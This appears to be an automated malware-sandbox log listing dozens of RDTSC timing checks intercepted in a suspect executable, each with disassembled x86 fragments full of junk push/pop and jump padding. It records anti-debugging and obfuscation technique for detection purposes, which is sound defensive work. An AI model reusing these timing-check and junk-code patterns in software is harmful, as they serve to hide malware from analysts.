Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100091 second address: 5100097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100097 second address: 510009B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 510009B second address: 51000F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FC4DCC8C6D8h 0x0000000e push eax 0x0000000f jmp 00007FC4DCC8C6CBh 0x00000014 xchg eax, ecx 0x00000015 jmp 00007FC4DCC8C6D6h 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC4DCC8C6D7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51000F9 second address: 5100187 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC4DCD0E311h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007FC4DCD0E30Eh 0x00000015 mov ebx, dword ptr [ebp+10h] 0x00000018 jmp 00007FC4DCD0E310h 0x0000001d xchg eax, esi 0x0000001e jmp 00007FC4DCD0E310h 0x00000023 push eax 0x00000024 jmp 00007FC4DCD0E30Bh 0x00000029 xchg eax, esi 0x0000002a jmp 00007FC4DCD0E316h 0x0000002f mov esi, dword ptr [ebp+08h] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100187 second address: 510018B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 510018B second address: 51001A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51001A8 second address: 5100277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, edi 0x0000000b jmp 00007FC4DCC8C6D4h 0x00000010 push eax 0x00000011 jmp 00007FC4DCC8C6CBh 0x00000016 xchg eax, edi 0x00000017 pushad 0x00000018 mov ebx, ecx 0x0000001a jmp 00007FC4DCC8C6D0h 0x0000001f popad 0x00000020 test esi, esi 0x00000022 jmp 00007FC4DCC8C6D0h 0x00000027 je 00007FC54F31AAE1h 0x0000002d jmp 00007FC4DCC8C6D0h 0x00000032 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000039 jmp 00007FC4DCC8C6D0h 0x0000003e je 00007FC54F31AACAh 0x00000044 pushad 0x00000045 push eax 0x00000046 call 00007FC4DCC8C6CDh 0x0000004b pop esi 0x0000004c pop ebx 0x0000004d pushfd 0x0000004e jmp 00007FC4DCC8C6CEh 0x00000053 add al, FFFFFFF8h 0x00000056 jmp 00007FC4DCC8C6CBh 0x0000005b popfd 0x0000005c popad 0x0000005d mov edx, dword ptr [esi+44h] 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FC4DCC8C6D5h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100277 second address: 51002AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov cl, bl 0x00000010 mov esi, 583F8D59h 0x00000015 popad 0x00000016 mov al, A6h 0x00000018 popad 0x00000019 test edx, 61000000h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FC4DCD0E313h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51002AD second address: 51002B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F077F second address: 50F07BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FC4DCD0E30Ch 0x0000000e push eax 0x0000000f jmp 00007FC4DCD0E30Bh 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FC4DCD0E316h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F07BF second address: 50F07C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F07C5 second address: 50F07EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov cl, 41h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007FC4DCD0E312h 0x00000015 pop eax 0x00000016 mov cx, bx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F07EC second address: 50F0802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0802 second address: 50F082F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC4DCD0E314h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC4DCD0E30Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F082F second address: 50F0835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0835 second address: 50F088A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FC4DCD0E310h 0x0000000f xchg eax, esi 0x00000010 jmp 00007FC4DCD0E310h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FC4DCD0E30Ch 0x0000001f xor ch, FFFFFFF8h 0x00000022 jmp 00007FC4DCD0E30Bh 0x00000027 popfd 0x00000028 push eax 0x00000029 pop edi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F088A second address: 50F08CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC4DCC8C6CAh 0x00000012 and si, 8688h 0x00000017 jmp 00007FC4DCC8C6CBh 0x0000001c popfd 0x0000001d movzx eax, bx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov dh, 1Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F08CA second address: 50F092B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov esi, dword ptr [ebp+08h] 0x0000000a jmp 00007FC4DCD0E318h 0x0000000f sub ebx, ebx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 jmp 00007FC4DCD0E319h 0x0000001b popad 0x0000001c test esi, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC4DCD0E318h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F092B second address: 50F0931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0931 second address: 50F0937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0937 second address: 50F093B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F093B second address: 50F0956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC54F3A3D51h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC4DCD0E30Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0956 second address: 50F095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F095C second address: 50F0960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0960 second address: 50F097B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC4DCC8C6CAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F097B second address: 50F0A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC4DCD0E311h 0x00000009 and esi, 14DFF1D6h 0x0000000f jmp 00007FC4DCD0E311h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FC4DCD0E310h 0x0000001b xor cx, 4FF8h 0x00000020 jmp 00007FC4DCD0E30Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov ecx, esi 0x0000002b jmp 00007FC4DCD0E316h 0x00000030 je 00007FC54F3A3CC4h 0x00000036 pushad 0x00000037 call 00007FC4DCD0E30Eh 0x0000003c mov cx, 3F21h 0x00000040 pop eax 0x00000041 call 00007FC4DCD0E317h 0x00000046 push ecx 0x00000047 pop ebx 0x00000048 pop ecx 0x00000049 popad 0x0000004a test byte ptr [77816968h], 00000002h 0x00000051 pushad 0x00000052 mov bx, AE94h 0x00000056 push eax 0x00000057 push edx 0x00000058 pushfd 0x00000059 jmp 00007FC4DCD0E313h 0x0000005e xor si, 3B2Eh 0x00000063 jmp 00007FC4DCD0E319h 0x00000068 popfd 0x00000069 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0A5B second address: 50F0A83 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007FC54F32201Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC4DCC8C6D9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0A83 second address: 50F0ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC4DCD0E317h 0x00000009 or ah, FFFFFF9Eh 0x0000000c jmp 00007FC4DCD0E319h 0x00000011 popfd 0x00000012 mov dx, cx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov edx, dword ptr [ebp+0Ch] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0ACA second address: 50F0ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0ACE second address: 50F0ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0ADD second address: 50F0B00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 push ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC4DCC8C6D4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B00 second address: 50F0B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B04 second address: 50F0B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B0A second address: 50F0B11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B11 second address: 50F0B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov dl, 50h 0x0000000b mov ch, A7h 0x0000000d popad 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FC4DCC8C6D3h 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B3A second address: 50F0B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B3E second address: 50F0B44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B44 second address: 50F0B7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edi, 5AF8B194h 0x00000010 pushad 0x00000011 movsx ebx, cx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 jmp 00007FC4DCD0E310h 0x0000001e push dword ptr [ebp+14h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B7B second address: 50F0B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0B7F second address: 50F0B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0BC9 second address: 50F0BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100B56 second address: 5100B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100B5A second address: 5100B60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100B60 second address: 5100BBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC4DCD0E318h 0x00000009 sub ch, 00000048h 0x0000000c jmp 00007FC4DCD0E30Bh 0x00000011 popfd 0x00000012 mov ecx, 6287C6BFh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FC4DCD0E312h 0x00000020 push eax 0x00000021 jmp 00007FC4DCD0E30Bh 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov edx, 06F6FAA2h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100BBC second address: 5100BF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC4DCC8C6D7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100BF3 second address: 5100C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E314h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100C0B second address: 5100C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51009A0 second address: 51009A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51009A6 second address: 51009AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51009AA second address: 51009AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51009AE second address: 51009BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51009BC second address: 51009C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51009C4 second address: 51009F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FC4DCC8C6CCh 0x00000008 pop esi 0x00000009 mov cx, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FC4DCC8C6CDh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC4DCC8C6CDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 518072C second address: 5180744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E314h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5180744 second address: 5180748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5180748 second address: 518077A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov eax, edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007FC4DCD0E30Fh 0x00000014 jmp 00007FC4DCD0E313h 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 518077A second address: 51807B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, bh 0x00000011 jmp 00007FC4DCC8C6D6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51807B5 second address: 51807F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC4DCD0E311h 0x00000008 pushfd 0x00000009 jmp 00007FC4DCD0E310h 0x0000000e or al, FFFFFF88h 0x00000011 jmp 00007FC4DCD0E30Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51807F2 second address: 51807F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517089E second address: 517092A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC4DCD0E312h 0x00000009 add esi, 4409B4D8h 0x0000000f jmp 00007FC4DCD0E30Bh 0x00000014 popfd 0x00000015 mov si, 8F8Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e pushad 0x0000001f call 00007FC4DCD0E30Eh 0x00000024 pop eax 0x00000025 pushfd 0x00000026 jmp 00007FC4DCD0E30Bh 0x0000002b sbb ecx, 67F51C4Eh 0x00000031 jmp 00007FC4DCD0E319h 0x00000036 popfd 0x00000037 popad 0x00000038 push eax 0x00000039 movsx ebx, cx 0x0000003c pop esi 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FC4DCD0E315h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517092A second address: 517093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCC8C6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517093A second address: 517093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517093E second address: 5170967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FC4DCC8C6D7h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5170967 second address: 517099D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E318h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC4DCD0E317h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5170726 second address: 517075B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC4DCC8C6D3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517075B second address: 517075F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517075F second address: 5170765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5170765 second address: 517076B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517076B second address: 517076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517076F second address: 5170792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FC4DCD0E30Ah 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC4DCD0E30Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5170792 second address: 5170796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5170796 second address: 517079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 517079C second address: 51707A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
